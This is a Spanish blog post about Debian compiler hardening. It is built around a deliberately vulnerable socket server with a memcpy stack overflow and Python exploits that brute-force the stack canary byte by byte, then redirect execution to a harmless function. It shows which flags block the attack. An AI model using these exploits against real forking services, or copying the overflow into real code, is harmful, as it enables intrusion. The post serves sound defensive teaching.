jueves, 3 de septiembre de 2015

Compilación con Hardening en Debian

Introducción

Denjamin Randazzo escribio hace un par de años "Smashing The Stack, An Example From 2013", un paper donde generaliza un escenario de explotación inicialmente descrito por Adam Zabrocki, tres años antes, en "Scraps of notes on remote stack overflow exploitation".  Ambos son lecturas recomendadas.

El escenario de Zabrocki (2010) es un típico return-into-libc que ejecuta código usando system() pero incluye además la evasión del stack canary usando una de las técnicas descritas por Ben Hawkes en "Exploting OpenBSD" (una serie de slides en los que nunca se explota OpenBSD, pero se analizan y se evaden algunas de sus técnicas de mitigación), junto con un poco de fuerza bruta para retornar al GOT…

En contraste, el escenario de Randazzo (2013) asume que system() no esta inmediante disponible en el PLT e incluye la desaleatorización de libc usando la técnica del usleep() descrita en "On the Effectiveness of Address-Space Randomization" (Shacham et al., 2004).  El escenario incluye tambien algo de ROP para la preparación del comando que finalmente se ejecutará via execve().

El año pasado, uno de los retos que llevamos al CTF de la ekoparty estaba basado en el escenario de Randazzo (2013), aunque se modificó el orden de los parámetros en la función vulnerable para que la explotación fuera mas sencilla (después de todo, tenían otros 17 retos para resolver y por problemas de conectividad, se perdió algún tiempo de juego).  Como una estrategia de presión psicológica, el servicio vulnerable estaba corriendo sobre OpenBSD.  Esto, por si sólo, ya desanimó a muchos jugadores, pero al final, un par de grupos completó este reto.

Lo relevante de la historia es que antes de implementar el escenario en OpenBSD, lo implementamos en Debian pues es ahi donde se presenta inicialmente el escenario de Randazzo (2013).  En su momento, decidí probar si el escenario seguía siendo  posible usando las otras opciones de hardening en Debian y no solo las que se habilitan en el paper original.  Un vistazo rápido al wiki de Debian sobre Hardening me llevo a descubrir el paquete "hardening-includes" y mi tendencia a no leer juiciosamente la documentación me llevo a cometer un error sutil, que hace poco recordé y que motiva este post.

Si bien esto podría ser un post muy corto describiendo como habilitar correctamente las opciones de hardening en Debian (8.1.0 / i386), o comentando directamente la causa de mi error, ¿cómo podría desaprovechar la oportunidad para mostrar algún código de explotación?

El binario vulnerable

Usaremos el código de Randazzo (2013) con algunas modificaciones para hacerlo mas sencillo de explotar, pues lo que queremos es mitigar el exploit, no comentarlo.  Asi pues, no intentaremos lanzar un shell remoto, y en su lugar, agregaremos una función secret() que imprime un mensaje secreto (sacado de Quake 1, el mejor FPS de todos los tiempos)  e intentaremos modificar el flujo de ejecución para que se lance esta función.  No intentaremos siquiera ver el mensaje secreto del lado del cliente, nos conformaremos con verlo del lado del servidor. y para que sea aun mas sencillo, asumiremos que la dirección de secret() es conocida (para esto, simplemente vamos a imprimirla, nuevamente, del lado del servidor).

Este es el código con las modificaciones resaltadas:

/*
* server - a simple server vulnerable to stack overflow
*
* Copyright 2012-2013 Benjamin Randazzo <benjamin@linuxcrashing.org>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define KEY 0x42
#define SECRET "\x73\x71\x71\x75"

#define PORT 3333

void secret() {
    printf("\n=== A Secret is Revealed! ===\n");
}
void encrypt(char *buffer, int key) {
    int len, i;
    len = strlen(SECRET);
    for (i = 0 ; i < len ; i++)
        buffer[i] ^= key;
}
int check_code(char *data, int size) {
    char buffer[20];
    memcpy(buffer, data, size);
    encrypt(buffer, KEY);
    return strncmp(buffer, SECRET, strlen(SECRET));
}
int main() {
    char buffer[512];
    int sockfd, sock_newfd, optval = 1;
    struct sockaddr_in addr, serv_addr;
    int sin_size = sizeof(struct sockaddr_in), bsize;
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket");
        exit(errno);
    }
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0) { 
        perror("setsockopt");
        exit(errno);
    }
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&(serv_addr.sin_zero), 0, 8);
    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) < 0) { 
        perror("bind");
        exit(errno);
    }

    if (listen(sockfd, 20) < 0) {
        perror("listen");
        exit(errno);
    }

    printf("ready\n");
    printf("secret() @ %p\n", &secret);

    while (1) {
        if ((sock_newfd = accept(sockfd, (struct sockaddr *)&addr, &sin_size)) < 0) {
            perror("accept");
            exit(errno);
        }

        if (fork() == 0) {

            write(sock_newfd, "Bank of France\n", 15);
            write(sock_newfd, "Enter code : ", 13);
            bzero(buffer, sizeof(buffer));
            bsize = read(sock_newfd, buffer, sizeof(buffer), 0);
            if (check_code(buffer, bsize) == 0) {
                write(sock_newfd, "\n=== Access granted ===\n", 24);
            } else {
                write(sock_newfd, "\nAccess denied\n", 15);
            }
            close(sock_newfd);
            exit(0);
        } 
        close(sock_newfd);
        while (waitpid(-1, NULL, WNOHANG) > 0);
    }
    close(sockfd);
    return 0;
}

Pueden simplemente descargar el código de Randazzo (2013) desde aquí, y aplicar las modificaciones resaltadas. Eso fue lo que yo hice.

Compilando sin opciones especiales

Si usamos make y compilamos sin pasar ninguna opcion especial, veremos:

user@debian:~$ make server
cc server.c -o server
user@debian:~$ ./server
ready
secret() @ 0x804879b

Utilizaremos la dirección que hemos conseguido para preparar un exploit muy simple: nos limitaremos a enviar la dirección de la función secret() diez veces seguidas:

import telnetlib
import struct

HOST="192.168.203.128"
PORT = 3333
payload = 10 * struct.pack('L', 0x804879b) # address of secret()
telnet = telnetlib.Telnet(HOST, PORT)
telnet.read_until("Enter code : ")
telnet.write(payload)
response = telnet.read_all()
telnet.close()

Si lo ejecutamos y volvemos a la consola donde esta corriendo el servidor vulnerable veremos que la pantalla se ha actualizado:

user@debian:~$ make server
cc server.c -o server
user@debian:~$ ./server
ready
secret() @ 0x804879b

=== A Secret is Revealed! ===

=== A Secret is Revealed! ===

El mensaje "=== A Secret is Revealed! ===" confirma que se ha modificado correctamente la dirección de retorno almacenada en la pila. Se muestra dos veces porque realmente sólo hace falta enviar la dirección 9 veces. O para ser exactos, podemos enviar 32 bytes de relleno (padding) seguidos de la dirección de secret() y el exploit funcionará. Si despues de esto seguimos enviando la dirección más veces, la funcion se ejecutará mas veces, pues al terminar buscará en la pila su dirección de retorno guardada y lo que encontrará es su propia dirección.

Los dos o tres lectores de este blog seguramente pensarán: "si, está todo muy bien, pero no es esto algo como de la década de los noventa?" y tendrán razón (al menos en parte, pues aunque este tipo de cosas se popularizó a finales de los años noventa, la técnica fue descrita mucho antes), pero tengan algo de paciencia, aun estamos en la parte introductoria.

Compilando con las opciones típicas

Para ver una situación un poco más real, compilaremos ahora con las opciones típicamente usadas para preparar los paquetes de Debian. Para esto, crearemos el siguiente archivo makefile (que nos permitirá cargar las opciones típicas para CFLAGS y LDFLAGS):

include /usr/share/dpkg/buildflags.mk
all: clean server
server: server.c
        $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
clean:
        $(RM) server

Y compilamos nuevamente, para ver como se habilitan algunas protecciones (en particular nos interesa la opción -fstack-protector-strong):

user@debian:~$ make
rm -f server
cc -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wl,-z,relro -o server server.c
user@debian:~$ ./server
ready
secret() @ 0x8048970

Tomamos nota de la nueva dirección de la función secret(). Por cierto, el cambio en la dirección no implica que este aleatorizada pues no se ha habilitado PIE, sólo se debe al cambio de opciones de compilación.

Si actualizamos la dirección de secret() en el exploit trivial que teníamos antes y lo lanzamos nuevamente, veremos que ya no funciona, pues la opción -fstack-protector-strong ha instalado un stack canary y nosotros lo hemos destruido al enviar nuestro payload:

user@debian:~$ make
rm -f server
cc -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wl,-z,relro -o server server.c
user@debian:~$ ./server
ready
secret() @ 0x8048970
*** stack smashing detected ***: ./server terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6c4b3)[0xb768d4b3]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb77067f0]
/lib/i386-linux-gnu/libc.so.6(+0xe57aa)[0xb77067aa]
./server[0x8048a1c]
./server[0x8048970]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb763a723]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 261173 /home/user/server
08049000-0804a000 r--p 00000000 08:01 261173 /home/user/server
0804a000-0804b000 rw-p 00001000 08:01 261173 /home/user/server
0848f000-084b0000 rw-p 00000000 00:00 0 [heap]
b75fd000-b7619000 r-xp 00000000 08:01 783364 /lib/i386-linux-gnu/libgcc_s.so.1
b7619000-b761a000 rw-p 0001b000 08:01 783364 /lib/i386-linux-gnu/libgcc_s.so.1
b7620000-b7621000 rw-p 00000000 00:00 0
b7621000-b778c000 r-xp 00000000 08:01 783368 /lib/i386-linux-gnu/libc-2.19.so
b778c000-b778e000 r--p 0016b000 08:01 783368 /lib/i386-linux-gnu/libc-2.19.so
b778e000-b778f000 rw-p 0016d000 08:01 783368 /lib/i386-linux-gnu/libc-2.19.so
b778f000-b7792000 rw-p 00000000 00:00 0
b7796000-b7797000 rw-p 00000000 00:00 0
b7797000-b779a000 rw-p 00000000 00:00 0
b779a000-b779b000 r-xp 00000000 00:00 0 [vdso]
b779b000-b779d000 r--p 00000000 00:00 0 [vvar]
b779d000-b77bc000 r-xp 00000000 08:01 783365 /lib/i386-linux-gnu/ld-2.19.so
b77bc000-b77bd000 r--p 0001f000 08:01 783365 /lib/i386-linux-gnu/ld-2.19.so
b77bd000-b77be000 rw-p 00020000 08:01 783365 /lib/i386-linux-gnu/ld-2.19.so
bfe76000-bfe97000 rw-p 00000000 00:00 0 [stack]

He resaltado el mensaje "*** stack smashing detected ***" para mostrar que nos han bloqueado pues hemos matado el canario. Por cierto, la historia detrás del canario en la pila es demasiado buena como para dejarla pasar: hace muchos años los mineros llevaban canarios a las minas donde trabajaban, pues estos animalitos servían como bioindicadores. Esto es, si estabas trabajando en la mina y veías que el canario estaba muerto, entonces salías corriendo pues habría algún gas tóxico en el aire. Aquí pasa lo mismo, se instala un valor aleatorio (el canario) en la pila durante el prologo de la función protegida, y se revisa que ese valor siga allí durante el epílogo de la función. Si el valor ha cambiado (posiblemente por un overflow que lo modifca), entonces el canario esta muerto y abortamos la ejecución.

Volviendo al tema, debemos evadir la protección del canario, esto implica usar una técnica mas moderna (o algo así, realmente es de hace diez años!), que Ben Hawkes presentó en la Ruxcon de 2006. La idea se basa en un hecho simple, el canario se aleatoriza para cada proceso, no para cada función. Así, si usamos simplemente fork(), como el procesos no cambia, mantendremos el mismo canario cada vez que atendemos otro cliente. Esto puede aprovecharse para adivinar (por fuerza bruta, un byte a la vez) el canario. En lugar de hacer fuerza bruta una vez en un espacio de 32 bits (en Debian solo serían 24 porque el canario siempre lleva un 0x00), hacemos fuerza bruta 4 veces (en Debian, 3 veces) en espacios de 8 bits (una enorme reducción).

Pero, ¿cómo sabemos cuando se consiguió adivinar el byte correcto?, veamos un par de conexiones al servidor para comparar lo que pasa cuando se causa un desbordamiento y lo que pasa cuando no desbordamos nada:

$ telnet 192.168.203.128 3333
Trying 192.168.203.128...
Connected to 192.168.203.128.
Escape character is '^]'.
Bank of France
Enter code : 1234
Access denied
Connection closed by foreign host.

$ telnet 192.168.203.128 3333
Trying 192.168.203.128...
Connected to 192.168.203.128.
Escape character is '^]'.
Bank of France
Enter code : 12345678901234567890

Connection closed by foreign host.

En la primera conexión, el código que enviamos no causa un desbordamiento, y el servidor ejecuta la función check_code() y decide que debe mostrar el mensaje "Access denied". Pero en la segunda conexión, el código causa un desbordamiento, el protector de la pila descubre el canario muerto, y termina la conexión sin que se valide el codigo que enviamos. Por lo tanto, no recibimos el mensaje "Access denied".

Usando esta información, preparamos el siguiente exploit:

import telnetlib
import socket
import struct

HOST="192.168.203.128"
PORT = 3333

def send_payload(payload):
    telnet = telnetlib.Telnet(HOST, PORT, 1)
    telnet.read_until("Enter code : ")
    telnet.write("%s" % payload)
    response = telnet.read_all()
    telnet.close()    
    return "Access denied" in response

def calculate_padding_size(payload):
    size = 1
    while send_payload(payload + 'A' * size):
        print '\r%s' % size,
        size += 1
    return size - 1

def get_protected_value(payload):
    found = ''
    for _ in range(4):
        for byte in range(256):
            print '\r0x%02x' % byte,
            try:            
                if send_payload(payload + found + chr(byte)):
                    found += chr(byte)
                    break
            except socket.timeout:
                pass
    return found

def main(addr_secret):
    payload = ''
    
    padding_size = calculate_padding_size(payload)
    print '\rbuffer size: %i bytes' % padding_size
    
    payload += 'A' * padding_size
    canary = get_protected_value(payload)
    print '\rstack canary: 0x%08x' % struct.unpack('L', canary)[0]
    payload += canary
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    
    payload += 'B' * padding_size
    saved_eip = get_protected_value(payload)
    print '\rsaved eip: 0x%08x' % struct.unpack('L', saved_eip)[0]
    
    payload += struct.pack('L', addr_secret)
    send_payload(payload)

main(0x8048970)  # address of secret()

Aquí una descripcion rápida de las funciones auxiliares:
  • la función send_payload() envía el payload y verifica si hemos recibido (o no) el mensaje "Access denied".  Si no lo recibimos, es porque hemos sobreescrito algo que no debiamos y nos han detectado.  Y con algo que no debemos sobreescribir nos referimos al canario o a la dirección de retorno (que si queremos sobreescribir, ¡pero no con padding!)
  • la función calculate_padding_size() intentará incrementar el payload con padding, un byte a la vez, hasta que se encuentre con algun valor que no debemos sobreescribir.
  • la función get_protected_value() implementa el el ataque de Hawkes (2006): hace fuerza bruta un byte a la vez para recuperar 4 bytes desde la pila.  La fuerza bruta byte por byte se basa en el mensaje de error, si sobreescribimos un byte con el valor erróneo la protección nos detecta y no recibiremos el mensaje "Access denied", pero si lo sobreescribimos con el valor correcto si recibimos el mensaje.
Y aquí una descripcion rápida de la función principal:
  • usamos calculate_padding_size() para determinar el tamaño del buffer vulnerable
  • actualizamos el payload con tantas 'A' como sea necesario para sobreescribir el buffer
  • usamos get_protected_value() para obtener el valor del canario 
  • actualizamos el payload con el valor del canario, para enviarlo de vuelta y evadir la protección
  • usamos calculate_padding_size() para determinar cuanto padding necesitamos para alcanzar la dirección de retorno guardada
  • actualizamos el payload con tantas 'B' como sea necesario para alcanzar la dirección de retorno
  • usamos get_protected_value() para obtener el valor de la dirección de retorno (este paso no hace falta realemente, pero me gusta saber esas cosas)
  • actualizamos el payload con la dirección de secret() para que sobreescriba la dirección de retorno guardada
  • enviamos el payload

Si lo lanzamos y observamos la consola que esta corriendo el servidor vulnerable, veremos lo siguiente:

b757e000-b757f000 rw-p 0001b000 08:01 783364     /lib/i386-linux-gnu/libgcc_s.so   .1
b7585000-b7586000 rw-p 00000000 00:00 0
b7586000-b76f1000 r-xp 00000000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.s   o
b76f1000-b76f3000 r--p 0016b000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.s   o
b76f3000-b76f4000 rw-p 0016d000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.s   o
b76f4000-b76f7000 rw-p 00000000 00:00 0
b76fb000-b76fc000 rw-p 00000000 00:00 0
b76fc000-b76ff000 rw-p 00000000 00:00 0
b76ff000-b7700000 r-xp 00000000 00:00 0          [vdso]
b7700000-b7702000 r--p 00000000 00:00 0          [vvar]
b7702000-b7721000 r-xp 00000000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b7721000-b7722000 r--p 0001f000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b7722000-b7723000 rw-p 00020000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
bfc91000-bfcb2000 rw-p 00000000 00:00 0          [stack]
AAAAAAAAAAAAAAAAAAAA
secret() @ 0x8048970
accept: Bad file descriptor

=== A Secret is Revealed! ===

El mensaje "=== A Secret is Revealed! ===" confirma que se ha evadido el canario de la pila y se ha modificado nuevamente la dirección de retorno almacenada.  Las opciones de compilación típicas no son suficientes para detener este escenario de explotación.

Compilando con las opciones de hardening

Ahora si, veamos el hardening.  Para habilitar las opciones de hardening podemos crear un nuevo makefile (asumimos que se ha instalado el paquete hardening-includes):

include /usr/share/hardening-includes/hardening.make
all: clean server
server: server.c
        $(CC) $(HARDENING_CFLAGS) $(HARDENING_LDFLAGS) -o $@ $^
clean:
        $(RM) server

Si compilamos usando este nuevo makefile veremos que se habilitan mas opciones de protección, y si ejecutamos el servidor varias veces podemos ver que las direcciones cambian (aunque muy poco):

user@debian:~$ make server
rm -f server
cc  -fPIE  -fstack-protector-strong  -D_FORTIFY_SOURCE=2  -Wformat -Wformat-security -Werror=format-security   -fPIE -pie  -Wl,-z,relro  -Wl,-z,now  -o server server.c
user@debian:~$ ./server
ready
secret() @ 0xb77aea15
^C
user@debian:~$ ./server
ready
secret() @ 0xb775ba15
^C
user@debian:~$ ./server
ready
secret() @ 0xb77cca15

Sólo se aleatorizan 8 de los 32 bits en la dirección (todas las direcciones tienen la forma 0xb77??bf0).  Bastante poco. En contraste, OpenBSD (por ejemplo) aleatoriza 20 bits, pero aun así es posible explotar este servidor siguiendo la técnica general descrita en Randazzo (2013). Algunos consideran que en la práctica ASLR sólo funciona bien en 64 bits, donde el espacio de direcciones es mas amplio, pero hay evidencias de que aun 64 bits no son inviables via fuerza bruta.

Vamos a lo importante: ¿se ha logrado detener el exploit? actualizamos la dirección de secret() y lanzamos el exploit nuevamente. Esta es su salida:

buffer size: 20 bytes
stack canary: 0x0e6d3500
padding size: 4 bytes
saved eip: 0xb77cef7c

Vemos que se ha logrado extraer el canario y se ha recuperado un valor para eip. Parece que el exploit aun funciona. Veamos la consola del servidor:

Invalid argument
*** stack smashing detected ***: ./server terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6c4b3)[0xb769b4b3]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb77147f0]
/lib/i386-linux-gnu/libc.so.6(+0xe57aa)[0xb77147aa]
./server(main+0x303)[0xb77ccdf7]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7648723]
./server(+0x8d1)[0xb77cc8d1]
======= Memory map: ========
b760b000-b7627000 r-xp 00000000 08:01 783364     /lib/i386-linux-gnu/libgcc_s.so.1
b7627000-b7628000 rw-p 0001b000 08:01 783364     /lib/i386-linux-gnu/libgcc_s.so.1
b762e000-b762f000 rw-p 00000000 00:00 0
b762f000-b779a000 r-xp 00000000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b779a000-b779c000 r--p 0016b000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b779c000-b779d000 rw-p 0016d000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b779d000-b77a0000 rw-p 00000000 00:00 0
b77a4000-b77a5000 rw-p 00000000 00:00 0
b77a5000-b77a8000 rw-p 00000000 00:00 0
b77a8000-b77a9000 r-xp 00000000 00:00 0          [vdso]
b77a9000-b77ab000 r--p 00000000 00:00 0          [vvar]
b77ab000-b77ca000 r-xp 00000000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77ca000-b77cb000 r--p 0001f000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77cb000-b77cc000 rw-p 00020000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77cc000-b77ce000 r-xp 00000000 08:01 261173     /home/user/server
b77ce000-b77cf000 r--p 00001000 08:01 261173     /home/user/server
b77cf000-b77d0000 rw-p 00002000 08:01 261173     /home/user/server
b961a000-b963b000 rw-p 00000000 00:00 0          [heap]
bfe98000-bfeb9000 rw-p 00000000 00:00 0          [stack]

No hemos logrado redireccionar el flujo de ejecución hacia la función secret().  Esto esta muy bien, el hardening funciona, ¿no? Pues no, esto no esta bien. Aun hemos logrado extraer valores de la pila. Algo anda mal…

Si verificamos, con las opciones de compilación típicas el padding necesario para llegar del canario a la dirección de retorno era 12 bytes.  Esta vez fueron sólo 4 bytes.  Tal vez, esta vez hemos modificado algún otro valor que antes estaba desprotegido pero ahora esta protegido.  El stack frame (ebp guardado) parece ser un buen candidato…

Modificamos el nuestra función main() en el exploit asumiendo que lo que hemos extraído es el ebp guardado en lugar del eip guardado. Asi que necesitaremos extraer otro valor.

Aquí el nuevo main():

def main(addr_secret):
    payload = ''
    
    padding_size = calculate_padding_size(payload)
    print '\rbuffer size: %i bytes' % padding_size
    payload += 'A' * padding_size
    canary = get_protected_value(payload)
    print '\rstack canary: 0x%08x' % struct.unpack('L', canary)[0]
    payload += canary
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    payload += 'B' * padding_size
    saved_ebp = get_protected_value(payload)
    print '\rsaved ebp: 0x%08x' % struct.unpack('L', saved_ebp)[0]
    payload += saved_ebp
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    payload += 'C' * padding_size
    saved_eip = get_protected_value(payload)
    print '\rsaved eip: 0x%08x' % struct.unpack('L', saved_eip)[0]
    
    payload += struct.pack('L', addr_secret)  # address of secret()
    send_payload(payload)

Y aquí su salida:

buffer size: 20 bytes
stack canary: 0x0e6d3500
padding size: 4 bytes
saved ebp: 0xb77cef7c
padding size: 0 bytes
saved eip: 0xbfeb7f3c

OK. Logramos extraer otro valor, pero este nuevo valor de eip parece mas el de ebp (es una dirección mas alta). Además, esperabamos que el eip tuviera la forma  0xb77c????, esto es, una dirección dentro del binario, parecida a la de secret().  Es como si tuvieramos ebp y eip trocados.  Pero no. aún estamos a sólo 8 bytes de separación entre el canario y y el eip guardado.  Tal vez aun nos falta extraer otro valor.

Por ahora veamos la consola del servidor, aunque no tenemos mucha confianza en que haya funcionado:

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

Access denied

¡Vaya! No hemos conseguido lo que buscabamos, pues no esta el mensaje de secret(), pero tampoco estamos en el mensaje de "*** stack smashing detected ***"… lo que encontramos es inesperado: el mensaje "Access denied" no debería estar aquí, se supone que se envía por el socket hasta el cliente y lo estamos viendo en la salida estándar del servidor… ¿en algún punto hemos modificado un descriptor de archivo?, ¿o acaso hemos cambiado la dirección de algun string por la de otro? sea lo que sea, aún estamos afectando el flujo de ejecución.

Recordemos que la distancia entre el canario y la dirección de retorno eran 12 bytes, aun estamos sólo en 8… ¡intentemos recuperar un valor mas desde la pila!

Aquí esta la nueva función main():

def main(addr_secret):
    payload = ''
    
    padding_size = calculate_padding_size(payload)
    print '\rbuffer size: %i bytes' % padding_size
    payload += 'A' * padding_size
    canary = get_protected_value(payload)
    print '\rstack canary: 0x%08x' % struct.unpack('L', canary)[0]
    payload += canary
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    payload += 'B' * padding_size
    protected = get_protected_value(payload)
    print '\rprotected value: 0x%08x' % struct.unpack('L', protected)[0]
    payload += protected
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    payload += 'C' * padding_size
    protected = get_protected_value(payload)
    print '\rprotected value: 0x%08x' % struct.unpack('L', protected)[0]
    payload += protected
    
    padding_size = calculate_padding_size(payload)
    print '\rpadding size: %i bytes' % padding_size
    payload += 'D' * padding_size
    saved_eip = get_protected_value(payload)
    print '\rsaved eip: 0x%08x' % struct.unpack('L', saved_eip)[0]
    
    payload += struct.pack('L', addr_secret)  # address of secret()
    send_payload(payload)

main(0xb77cca15)

Aqui esta su salida:

buffer size: 20 bytes
stack canary: 0x0e6d3500
padding size: 4 bytes
protected value: 0xb77cef7c
padding size: 0 bytes
protected value: 0xbfeb7f3c
padding size: 0 bytes
saved eip: 0xb77ccd7f

El segundo valor protegido parece ser el ebp guardado (dirección mas alta), el nuevo eip guardado parece correcto (comienza igual que la dirección de secret), el primer valor protegido no se que sea… En todo caso, aqui esta la consola del servidor:

AAÅA
    ' failed!
AAAAAAAAAAAAAAAAAAAA
secret() @ 0xb77cca15
accept: Bad file descriptor

=== A Secret is Revealed! ===

Ese "accept: Bad file descriptor" nos hace pensar que tal vez si habiamos modificado un descriptor de archivo en el intento anterior.  Pero lo realmente importante es que, aunque esta vez la pila tenía mas valores protegidos, nuevamente se ha redireccionado el flujo de ejecución…  O esto del hardening no sirve de nada realmente (recordemos que esta técnica de ataque se describió hace casi 10 años), o lo estamos haciendo mal.

Es aquí donde está el error del que hablé al principio. Para ver lo que esta pasando, usaremos el script hardening-check del paquete hardening-includes:

user@debian:~$ make
rm -f server
cc  -fPIE  -fstack-protector-strong  -D_FORTIFY_SOURCE=2  -Wformat -Wformat-security -Werror=format-security   -fPIE -pie  -Wl,-z,relro  -Wl,-z,now  -o server server.c
user@debian:~$ hardening-check server
server:
 Position Independent Executable: yes
 Stack protected: yes
 Fortify Source functions: no, only unprotected functions found!
 Read-only relocations: yes
 Immediate binding: yes
user@debian:~$

Aun cuando se compila pasando la opcion -D_FORTIFY_SOURCE=2, el binario no usa las funciones protegidas.  FORTIFY_SOURCE es un invento de RedHat que reemplaza algunas funciones vulnerables por otras que incluyen chequeos: por ejemplo, printf() se reemplaza por printf_chk(), que incluye mitigaciones contra ataques de formato de cadena, o memcpy() se reemplaza por memcpy_chk(), que incluye mitigaciones contra desbordamientos en la pila…

Una buena lectura sobre esta protección es "Enhance application security with FORTIFY_SOURCE", en el blog de seguridad de RedHat.  Allí encontraremos la explicación de nuestro problema: FORTIFY_SOURCE requiere un nivel de optimizacion -O1 o superior.  Tan simple que es fácil pasarlo por alto: cuando empecé a usar las opciones de hardening, dejé de usar las opciones típicas, que incluían un -O2.

¿Porqué si el nivel de optimización es requerido para el hardening no se incluye en las opciones de hardening?,  ¿Tal vez porque ya se incluye en las opciones típicas?  No, no es eso, ya que algunas opciones de hardening si que se repiten en las opciones típicas (por ejemplo: -fstack-protector-strong,  -Wformat, o -Werror=format-security).  Tuve la tentación de enviar un reporte bug tipo whishlist para solicitar que -O2 se incluyera en /usr/share/hardening-includes/hardening.make, pero me contuve.  Despues de todo esta protección solo aplica para algunas funciones y el nivel de optimización no es estrictamente una opción de hardening. Además, en Debian respetamos su derecho a cometer errores por no leer juiciosamente la documentación.

Compilando (de forma correcta) con las opciones de hardening

Aquí un nuevo makefile que habilita y verifica las opciones de hardening:

include /usr/share/dpkg/buildflags.mk
include /usr/share/hardening-includes/hardening.make
CFLAGS+=$(HARDENING_CFLAGS)
LDFLAGS+=$(HARDENING_LDFLAGS)
all: clean server
server: server.c
        $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
        hardening-check $@
clean:
        $(RM) server

Y aquí esta la salida del proceso de compilación, y tambien se corre el servidor unas pocas veces para verificar si la aleatorización de la dirección mejora (tristemente, no):

user@debian:~$ make
rm -f server
cc -g -O2 -fstack-protector-strong -Wformat -Werror=format-security  -fPIE  -fstack-protector-strong  -D_FORTIFY_SOURCE=2  -Wformat -Wformat-security -Werror=format-security  -Wl,-z,relro  -fPIE -pie  -Wl,-z,relro  -Wl,-z,now  -o server server.c
hardening-check server
server:
 Position Independent Executable: yes
 Stack protected: yes
 Fortify Source functions: yes (some protected functions found)
 Read-only relocations: yes
 Immediate binding: yes
user@debian:~$ ./server
ready
secret() @ 0xb77d0bf0
^C
user@debian:~$ ./server
ready
secret() @ 0xb7750bf0
^C
user@debian:~$ ./server
ready
secret() @ 0xb77febf0

Si actualizamos nuestro exploit con la nueva dirección y lo lanzamos, veremos que es incapaz de extraer el canario, y tambien veremos esto del lado del servidor:

*** buffer overflow detected ***: ./server terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6c4b3)[0xb76cd4b3]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb77467f0]
/lib/i386-linux-gnu/libc.so.6(+0xe38ca)[0xb77448ca]
./server(+0xc67)[0xb77fec67]
./server(main+0x20c)[0xb77fea0c]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb767a723]
./server(+0xa9e)[0xb77fea9e]
======= Memory map: ========
b763d000-b7659000 r-xp 00000000 08:01 783364     /lib/i386-linux-gnu/libgcc_s.so.1
b7659000-b765a000 rw-p 0001b000 08:01 783364     /lib/i386-linux-gnu/libgcc_s.so.1
b7660000-b7661000 rw-p 00000000 00:00 0
b7661000-b77cc000 r-xp 00000000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b77cc000-b77ce000 r--p 0016b000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b77ce000-b77cf000 rw-p 0016d000 08:01 783368     /lib/i386-linux-gnu/libc-2.19.so
b77cf000-b77d2000 rw-p 00000000 00:00 0
b77d6000-b77d7000 rw-p 00000000 00:00 0
b77d7000-b77da000 rw-p 00000000 00:00 0
b77da000-b77db000 r-xp 00000000 00:00 0          [vdso]
b77db000-b77dd000 r--p 00000000 00:00 0          [vvar]
b77dd000-b77fc000 r-xp 00000000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77fc000-b77fd000 r--p 0001f000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77fd000-b77fe000 rw-p 00020000 08:01 783365     /lib/i386-linux-gnu/ld-2.19.so
b77fe000-b77ff000 r-xp 00000000 08:01 261172     /home/user/server
b77ff000-b7800000 r--p 00001000 08:01 261172     /home/user/server
b7800000-b7801000 rw-p 00002000 08:01 261172     /home/user/server
